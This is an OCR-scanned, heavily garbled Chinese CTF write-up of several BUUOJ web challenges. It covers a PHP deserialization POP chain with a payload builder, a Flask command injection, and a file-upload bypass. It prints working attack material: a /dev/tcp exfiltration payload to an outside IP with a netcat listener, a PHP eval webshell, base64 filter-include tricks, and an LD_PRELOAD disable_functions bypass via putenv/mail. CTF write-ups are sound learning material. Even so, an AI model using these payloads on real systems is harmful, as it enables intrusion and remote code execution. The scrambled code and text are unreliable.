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function eval() {
echo new $this->v1($this

public function __ invoke()

{
$this->v1->world();

class fin

{
public $f1;

public function _ destruct()

{
echo $this->f1

public function run()

{
($this->f1)();

public function _ call($a, $b)

{
echo $this->f1->get flag();

class what

{
public $a;

public function __ toString()

{
$this->a->run();

return 5

}

class mix

{
public $mi1;

public function run()

{
($this->m1)();

public function get flag()

{
eval( $this->ml);

if (isset($_POST] 1) {
unserialize($ POST[ 1);
} else {




highlight file(_ FILE_);
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__destruct
__toString

run
__invoke

__call

get_flag
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<?php

$Fin=new fin();
$fin2=new fin();
$what=new what();
$Mix=new mix();
$crow=new crow();

$fin=new fin();

ml
f1=$mix;
vl=$fin;

ml=$crow;

fl=$what;

$str=urlencode(serialize($Fin));

echo $str;




Request

Pretty M3EWM Hex \n

e [ A

5]

POST / HITP/1.1
Host: 9195204b-faed-4lea—9céT-34baBlcfb4aa. noded. buuoj. cn: 81

} User—Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:98.0)

Gecko/20100101 Firefox/98.0

Accept:

text/html, application/xhtml +zml, application/xml ; g=0. 9, image/avif, im
age/webp, */#; q=0. 8

Accept-Language:

zh-CN, zh; q=0. 8, zh—TW,; g=0. 7, zh-HK; ¢=0. 5, en-US; q=0. 3, en; q=0. 2
Accept-Encoding: gzip, deflate

Comnection: close

Upgrade-Insecure-Requests: 1

Cache—Control: max—age=0

Content-Type: application/x—www—form—urlencoded
Content-Length: 396

3 emd=
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3 . /index. php:

HTTE/1.1 200 0K

Server: openresty

Date: Mon, 04 Apr 2022 12:35:13 GMT
Content—Type: text/html; charset=UTF-8
Connection: close

Vary: Accept-Encoding

Y-Powered-By: PHP/7.3.28
Content-Length: 372

. [HOmvzE50F. php://flag {1bff384b—e4f7-4d20-992b—a02669741 5ad}
. /flag. php:not here, but you are almost getting the flag!
. /index. php: echo $this—>fl-rget_flagl);
public function get_flag()
hellol14514<br />
<b>
Recoverable fatal errvor
<fh>
Object of class mix could not be converted to string in <b>
[var fwww/html /index. php
</
on line <b>
24
<o
<br /7
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from flask import Flask,render_template,url for,render_template_string,redirect,request,current_app,session,abon
t,send_from_directory

import random

from urllib import parse

import os

from werkzeug.utils import secure_filename

import time

app=Flask(__name_ )

def waf(s):
blacklist

flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break

return flag

@app.route(
def index():

return render_template(

@app.route( ,methods=[ D)
def calc():
ip request.remote_addr
num request.values.get(
log . (time.strftime( ,time.localtime()),ip,num)

if waf(num):
try:
data (num)
os.system(log)
except:
pass
return
else:

return

if _ name__

app.run(host ,port=5000)




RIGH waf(s) REERZHFERGT, HL2EERRKRGS, oTARBBITE RS A a2 B E A AT
M payload 3K 8] & f 58 3 ik 55 5% b

Query parameter

MName

num

Value

1%2b2%23%6015%60%3e%2fdevh2ftepb2£39.107.
138.71%2f6666%3c

Decoded from: URL encoding + e @
1+2¢ 18" >/dev/tep/- 17 ... /6666
Decoded from: URL encoding v '3' @
1 24*1s">/dev/tcp/- . /BEBE
Cance Apply changes
_f_;'_"_‘f | 'f;:.f-'li_ v _'_)

root@izZ2zec7mjp663umpOwsug3z: ~
Listening on [0.0.0.0] (family @, port 6666)
Connection from 117.21.200.166 36271 received

20220404-132944 10.244.80.46 1+2
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Request

Pretty Hex \n

POST / HITP/1.1

Host: ee35eTf9-h874-446d-a8e7-82cfdc7418a5. node4. buuoj. cn: 81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; =64, rv:98.0)

Gecko/20100101 Firefox/98.0
Accept:

text/html, application/zhtml+mml, application/mml; g=0. 9, image/avif, im

age/webp, */:; q=0. 8
Accept-Language:

zh-CN, zh; g=0. &, zh~-TW; ¢=0. 7, zh—HK ; g=0. 3, en-US; g=0. 3, en; g=0. 2

Response

HTTP/1.1 200 0K
Server: openresty
Date: Mon,

Content—Length: 437
Comnection: close

=1 @ Ul e L L3

o o0

<div class="light”>

Raw Hex Render \n

04 Apr 2022 16:13:08 GMT
Content—Type: text/html; charset=UTF-8

Vary: Accept-Encoding

Accept-Encoding: zzip, deflate <span class="glow">
Content-Type: multipart/form—data; 10 <form enctype="multipart/form-data” method="post” onsubmit="
houndary 1057555962012590565775973385 return checkFile() ">
Content-Length: 370 11 EREKAT, fEA~ekr ot
Origin: 12 <input class="input_file” type="file” name="upload_file"/>
http://ee35e7f9-b874-446d-a8e7-82cfdc7418a5. noded. buuoj. en: 81 13 <input class="butten” type="submit” name="submit” value="
Connection: close upload”/>
Referer: 14 </form>
http://ee35eTf9-h874-446d-a8e7-52cfdcT418a5. node4. buuoj. cn: 81/ 15 </span>
Upgrade-Insecure-Requests: 1 <span class="flare”>
<fspan>
1057555962012590565775973385 <div>

Content-Disposition: form—data; name="upload_file”; filename=" 16

mac. php”

Content-Type: application/octet—stream

<php phpinfo() ;7>

<div style="color:sF00">

Upload Success! Lock here”™

<Sdivy

1057555962012590565775973385

Content-Disposition: form—data; name="submit”

upload

1057555962012590565775873385—

il phpinfoJ5 &K ILA B i disable_functions, R />#U1LAN & $0A] LA

. fuploads/bB9fhdfclb3cc071326091a0f6a799c8. php

CSDN @A

arg_separator.output

&

&

auto_append file

no value

no value

auto_globals jit

On

On

auto_prepend file

no value

no value

browscap no value no value

default_charset UTF-8 UTF-8

default mimetype text/html text/html

disable_classes FFI,SplDoublyLinkedList, ReflectionProperty,Datelnte | FFI,SplDoublyLinkedList, ReflectionProperty,Datelnte
rval rval

disable_functions

zend_version, func_num_args, func_get_arg, func_ge
t_args, stremp, strnemp, strcasecmp, strncasecmp, e
ach, error_log, defined, get_class, get_called class, g
et_parent_class, method_exists, property_exists, clas
s_exists, interface_exists, trait_exists, function_exists,
class_alias, get_included _files, get_required files, is_
subclass of is a, get class vars, get object vars, get
_mangled_object_vars, get_class_methods, trigger_e
rror, user_error, restore_error_handler, set exception
_handler, restore_exception_handler, get_declared cl
asses, get_declared _traits, get_declared_interfaces, g
et _defined_functions, get_defined_vars, create_funct
ion, get_resource_type, get_resources, get _loaded_e
xtensions, extension_loaded, get_extension_funcs, g
et_defined_constants, debug_backtrace, debug_prin
t backtrace, gc mem caches, gc collect cycles, gc e
nabled, gc_enable, gc_disable, gc_status, strtotime,

date, idate, gmdate, mktime, gmmktime, checkdate,
strftime, gmstrftime, time, localtime, getdate, date_
create, date_create_immutable, date_create_from_fo
rmat, date_create_immutable_from_format, date_par
se, date_parse_from_format, date_get_last_errors, da
te format, date modify, date add, date sub, date ti

mezone_get, date_timezone_set, date_offset_get, da

vee 1.

T L% REAF B show_source() i£EXindex.php

zend_version, func_num_args, func_get_arg, func_ge
t_args, strcmp, strncmp, strcasecmp, strncasecmp, e
ach, error_log, defined, get_class, get_called_class, g
et_parent_class, method_exists, property_exists, clas
s_exists, interface_exists, trait_exists, function_exists,
class_alias, get_included files, get_required files, is_
subclass of is a, get class vars, get object vars, get
_mangled_object_vars, get_class_methods, trigger_e
rror, user _error, restore_error_handler, set exception
_handler, restore_exception_handler, get_declared cl
asses, get_declared_traits, get_declared_interfaces, g
et _defined_functions, get_defined_vars, create_funct
ion, get_resource_type, get_resources, get _loaded_e
xtensions, extension_loaded, get_extension_funcs, g
et_defined_constants, debug_backtrace, debug_prin
t backtrace, gc mem caches, gc collect cycles, gc e
nabled, gc_enable, gc_disable, gc_status, strtotime,
date, idate, gmdate, mktime, gmmbktime, checkdate,
strftime, gmstrftime, time, localtime, getdate, date_
create, date_create_immutable, date_create_from_fo
rmat, date_create_immutable_from_format, date_par
se, date_parse_from_format, date_get_last_errors, da
te format, date modify, date add, date sub, date ti

mezone_get, date_timezone_set, date_offs\&gﬁbr.lc_@}la :
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<?php

show_source( )&

MR JE KB show_source TE B A B, T2 LU Fbase64 it 17581t

<?php

base64 decode(
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div class span class

form enctype method onsubmit
WAk, fEANk !
input class
input class

form

span><span class

php
function fun($var): bool{
$blacklist [

foreach($blacklist as $blackword){

if(strstr($var, $blackword)) return True;

return False;

}

error_reporting(0);

$temp file $ FILES[ 18
$file name = $ FILES[ IE
$ext pathinfo($file_name, PATHINFO_EXTENSION);
if(!preg_match( , strtolower($ext))){
die( )3

b

$content = file get contents($temp_file);
if(fun($content)){
die( )§
s
$new_file name = md5($file_name) $ext;
$img_path = UPLOAD_PATH $new_file name;

if (move_uploaded_file($temp file, $img_path)){
$is_upload = true;
} else {
$msg
die();
b
echo $img_path

waflR B H K strstr() X R/NGHBUERK, &7 UHKR/NESidwaf
" LSt A—b64 i —F) i

<?php @eval($_POST[ IDE
f3b94e88bd1bd325af6+62828c8785dd. php

i EAE—Aphp3t 4 Ainclude k& & RINIK — €035, FIF Py th i xtbase64 3 1T ##F5




php://filter/convert.base64-decode/resource=./f3b94e88bd1bd325af6+62828c8785dd.php

cGhw0i8vZmlsdGVyL2NvbnZ1cnQuYmFzZTYOLWR1Y29kZS9yZXNvdXJFZTOuL2YzYjkOZTg4YmQxYmQzMjVhZjZmNjI4MjhjODcANWRKkLnBocA
<?php

Include(base64 decode(
))s

O A . - Ra7-82cf 8 e4.buuoj.cn:g

DEE O FiFrks DxARE D RraE QRrsr OFn Qe QESRT @ =% @ Doument

PHP Version 8.0.1 php

System Linux out 4.19.221-0419221-generic #202112141049 SMP Tue Dec 14 11:54:51 UTC 2021 x86 64

Build Date Jan 12 2021 01:45:56

Build System Linux c2d0752ec245 4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb%u4 (2018-08-21) x86_64 GNU/Linux
Configure Command "./configure' '--build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php’ '--with-config-file-

scan-dir=/usr/local/etc/php/conf.d' '--enable-option-checking=fatal' '--with-mhash' --with-pic' '--enable-
ftp' '--enable-mbstring’ --enable-mysqind' '--with-password-argon2' '--with-sodium=shared’ '--with-
pdo-sqlite=/usr' "--with-sqglite3=/usr" '--with-curl’ '--with-libedit' '--with-openssl' '--with-zlib’ '--with-pear
"--with-libdir=lib/x86_64-linux-gnu" '--with-apxs2' '--disable-cgi' 'build_alias=x86_64-linux-gnu'

Server API Apache 2.0 Handler
Virtual Directory Support disabled
Fanfimuratinm Cila fnhn ind Dath fuerflneallate inhn

Jesle Dt NEE (Jamesss O Ore B e § cesks 38 vwaes @ Hackear

Encoding~ SQL~ XSS~ LFl~ XXE~ Other~

http://ee35e7f9-b874-446d-a8e7-82cfdc7418a5.node4.buuoj.cn:81/uploads
/b89fbdfc1b3cc071326091a0f6a799¢8.php

Postdata [] Referer [] User Agent [ Cookies Add Header Clear All

H Upgrade-Insecure-Requests: 1
mac=phpinfo();

H Connection: keep-alive

u Arrant Encadina- Aazin daflata

BiThgetshell, {HHTF system() FREHEER, Frbl% Ebypass disable_function
SRR — RIS I, EREX A shelBAREARL, EEFTFE

Sttt & Eexp.c

system(

}
int geteuid()
{
if (getenv(
{

return 0;

}

unsetenv(

payload();

}

i B iso X



gcc exp.c -0 exp.so -shared -fPIC

FIF move_uploaded_file #HT3CM L4%
move_uploaded file($ FILES 5

Ui 18] 3 & B shell

mac=putenv mail Sy
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